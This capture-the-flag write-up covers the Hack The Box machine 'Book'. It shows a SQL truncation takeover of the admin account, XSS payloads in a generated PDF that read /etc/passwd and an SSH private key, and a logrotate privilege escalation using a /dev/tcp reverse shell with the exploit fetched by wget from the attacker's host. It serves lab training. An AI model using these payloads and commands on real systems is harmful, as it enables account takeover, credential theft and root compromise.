Overview

Book

Book is a medium linux box by MrR3boot.

The box starts with web-enumeration, where we exploit a SQL Truncation attack to change the password of the admin account. After logging in as admin, we can exploit a XSS vulnerability to read files from the system, which gives as access to the ssh-key of the user. The ssh-key gives as shell-access as user and we can read user.txt.

Enumerating the system, we find that logrotate is executed regularly. Researching for an exploit we find that there is an exploit called logrotten. Using this exploit we can get a shell as root and read root.txt.

Information Gathering

Nmap

Starting of with a nmap to check for open ports.

root@darkness:~# nmap -sC -sV 10.10.10.176
Nmap scan report for 10.10.10.176
Host is up (0.23s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

The only two open ports shown are 22 and 80. SSH usually is not that interesting, so let us begin with http.

HTTP - Port 80

Going to http://10.10.10.176, we get this webpage shown.

Webpage index

Clicking on sign up, we get this signup form.

Signup form

Let us check out the source code of the webpage.

<form action="" method="POST" name="myForm" onsubmit="return validateForm()">
<h1>Create Account</h1>
[...]
<span>or use your email for registration</span>
<input type="text" placeholder="Name" name="name"/>
<input type="email" placeholder="Email" name="email"/>
<input type="password" placeholder="Password" name="password"/>
<button>Sign Up</button>
</form>
</div>

Onsubmit of the form, the Javascript function validateForm is called. Let us check out the function in the source code.

<script>
  if (document.location.search.match(/type=embed/gi)) {
    window.parent.postMessage("resize", "*");
  }
function validateForm() {
  var x = document.forms["myForm"]["name"].value;
  var y = document.forms["myForm"]["email"].value;
  if (x == "") {
    alert("Please fill name field. Should not be more than 10 characters");
    return false;
  }
  if (y == "") {
    alert("Please fill email field. Should not be more than 20 characters");
    return false;
  }
}
</script>

The Javascript function checks if data was inputted and if not alerts that it should not exceed a certain length. This length limitation in the entered input could mean that the registration is susceptible to a SQL truncation attack (also explained here). Before we start exploiting, let us further enumerate to not miss any important information.

Creating a user, we get redirected to this webpage.

Webpage home

Further checking out the webpage, we can submit books and download pdfs accepted uploads.

Submit books

The submitted books are reviewed by the administrator, which could mean that we have a potential XSS attack-vector.

Books

The accepted books are available for download as a pdf.

Contact

The contact page gives us the email address of the administrator (admin@book.htb).

Let us run a gobuster to make sure we have not missed any interesting files or folders.

root@darkness:~# gobuster dir -u http://10.10.10.176 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.176
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2020/06/18 15:27:05 Starting gobuster
===============================================================
/images (Status: 301)
/download.php (Status: 302)
/contact.php (Status: 302)
/search.php (Status: 302)
/home.php (Status: 302)
/profile.php (Status: 302)
/docs (Status: 301)
/books.php (Status: 302)
/feedback.php (Status: 302)
/index.php (Status: 200)
/admin (Status: 301)

Running a gobuster, we find a couple of interesting files, however /admin sounds the most interesting.

Admin login

Going to /admin we get presented with a login panel that does not have a registration and does not work for our created user.

SQL Truncation Exploitation

Now that we have enumerated the webpage thoroughly, let us exploit the SQL Truncation vulnerability to get access to the admin panel.

Explanation

SQL Truncation is an exploit that potentially allows attackers to register already existing accounts. This occurs due to the fact that depending on the configuration the database will truncate strings that exceed the specified maximum length of the column.

Now if an attacker registers a new user with the input admin [x spaces]a, where x will exceed the maximum column length. The database will check if the user admin [x spaces]a already exists and if not, truncates the input (removes the a) and adds the user to the database. This results into the database removing all ending spaces and the user admin will be overwritten with the attacker-specified input.

Exploitation

>>> name = 'admin@book.htb'
>>> while len(name) < 20:
...     name += ' '
... 
>>> name += 'a'
>>> name
'admin@book.htb      a'
>>> len(name)
21

Using python we can quickly create our payload, which should theoretically overwrite the user admin@book.htb with the password we have created. The length of 20 was chosen, as the Javascript mentioned a max length of 20 characters.

SQLi Exploitation

Entering our payload in the email field, we can now specify the new administrator password.

After registering the new user, we should be able to login as admin with our specified password.

root@darkness:~# curl -X POST -d 'name=chronos&email=admin@book.htb%20%20%20%20%20%20a&password=chronos%40htb' 10.10.10.176/index.php

Using curl, we can quickly update the password back whenever it is changed.

After logging in, we get redirected to this page and are logged in as admin.

Admin home

XSS to arbitrary file-read

Enumeration

Checking out the admin page, we see that we can export the collections of submitted books.

Export collections

The exported data shows title, author and a link to the book.

Exported collections

As the user controls title and author, we can inject Javascript into the pdf.

Verifying exploitability

Using a simple payload like this, we can test for XSS.

<img src=x onerror=document.write("XSS");>

XSS Testing

Exporting the collection as an admin we get this pdf.

XSS successful

We have successfully verified our XSS and can now start to read files from the server.

Exploiting arbitrary file-read

Using XMLHttpRequest we can read files from the system and write it to the pdf. This payload should read /etc/passwd from the system and writes it to the pdf.

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

Read passwd

Repeating our previous steps, we can successfully read /etc/passwd from the system. Seems like the user is called reader. Let us try to read the id_rsa key of reader. For this we use following payload.

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

SSH-Key leaked

Now that we have the ssh-key, we can use it to login as the user reader.

Getting a shell as user

Now that we have the ssh-key of the user, we can login using ssh.

root@darkness:~# ssh -i id_rsa reader@10.10.10.176
The authenticity of host '10.10.10.176 (10.10.10.176)' can't be established.
ECDSA key fingerprint is SHA256:QRw8pCXg7E8d9sWI+0Z9nZxClJiq9/eAeT/9wUfoQQk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.176' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Jun 18 13:52:32 UTC 2020

  System load:  0.09               Processes:            143
  Usage of /:   26.6% of 19.56GB   Users logged in:      0
  Memory usage: 22%                IP address for ens33: 10.10.10.176
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

114 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3
reader@book:~$
reader@book:~$ cat user.txt 
51c1d***************************

Privesc to root

Now that we have a shell as user and read user.txt, let us enumerate the system to find a privilege escalation path.

Enumeration as user

Running pspy on the system, we see that logrotate is run regularly.

reader@book:/tmp$ ./pspy                               
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
                                                           
                                                           
     ██▓███    ██████  ██▓███ ▓██   ██▓        
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒        
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░        
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░        
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░        
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒               
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░                                                                                 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░          
                   ░           ░ ░                      
                               ░ ░
[...]
2020/06/18 15:03:51 CMD: UID=0    PID=29855  | /usr/sbin/logrotate -f /root/log.cfg

Researching for “logrotate exploit” on google, we can find an exploit for Logrotate 3.15.1. This packetstorm article explains to exploit and references this GitHub.

Exploitation of logrotate

We can use this exploit to exploit logrotate and get a shell as root. For this we have to create a payload file that will be executed in the context of root.

reader@book:/tmp$ cat ex.sh 
#!/bin/bash
if [ `id -u` -eq 0 ]
 then
         (bash -c 'bash -i >& /dev/tcp/127.0.0.1/9001 0>&1')
fi

Our payload is a simple reverse-shell to the local system. Now we have to transfer and compile logrotten to the target and execute it.

reader@book:/tmp$ wget 10.10.14.37/logrotten.c
2020-06-18 15:12:28 (4.79 MB/s) - ‘logrotten.c’ saved [7342/7342]
reader@book:/tmp$ gcc logrotten.c -o logrotten

Now that we have compiled the exploit, we can run it with the exploit-file and the logfile as arguments.

reader@book:/tmp$ ./logrotten -p ex.sh /home/reader/backups/access.log

Now that the exploit is running, we have to trigger it by writing something to the logfile.

reader@book:~$ echo "test" > backups/access.log

Writing into backups/access.log triggers the log rotation, which gives us time for our exploit to execute the reverse-shell.

We can change the execution and triggering of the exploit into a one-liner like this:

reader@book:/tmp$ (./logrotten -p ex.sh /home/reader/backups/access.log &); \
> echo "test" > /home/reader/backups/access.log
Waiting for rotating /home/reader/backups/access.log...
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!

reader@book:/tmp$

The exploit has been successfully executed and we should receive a reverse-shell as root.

reader@book:~$ nc -lnvp 9001
Listening on [0.0.0.0] (family 0, port 9001)
Connection from 127.0.0.1 52822 received!
root@book:~#

The reverse-shells only last for a couple of seconds, however we can quickly read the id_rsa file of root to gain ourselves permanent root-access.

root@book:~# cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEp
[...]
ywUQ==
-----END RSA PRIVATE KEY-----

Now that we have a shell as root we can read root.txt.

root@book:~# cat root.txt
84da9***************************